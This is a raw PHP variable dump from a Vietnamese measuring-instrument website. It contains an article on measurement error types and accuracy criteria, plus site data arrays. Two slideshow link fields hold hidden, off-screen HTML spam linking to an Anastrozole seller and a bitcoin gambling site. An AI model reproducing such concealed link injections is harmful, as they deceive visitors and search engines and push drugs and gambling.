0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) $dm_c2 = array( (int) 0 => array( 'Catproduct' => array( 'id' => '50', 'name' => 'Ẩm ký tự ghi Fischer 325', 'parent_id' => '2', 'alias' => 'ảm-ký-tụ-ghi-fischer-325', 'images' => '20190702110514f5998f417e460b6a7ce6824a1984d84d.png', 'lft' => '28', 'rght' => '29', 'pos' => '1', 'status' => '1', 'title_seo' => 'Ẩm ký tự ghi Fischer 325', 'meta_key' => '', 'meta_des' => 'Model 325 Ẩm ký Fischer, model 325 do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục giá trị độ ẩm không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu. Máy ẩm ký 325 được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng. Đặc tính kỹ thuật - Kiểu bộ cảm ứng: Chùm tóc - Giải đo: Từ 0 đến 100% - Độ chính xác: ±3% - Độ phân giải: 5% - Kích thước: 290(R) x 145(S) x 190(C) mm ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'a-m-ky-tu-ghi-fischer-325', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' 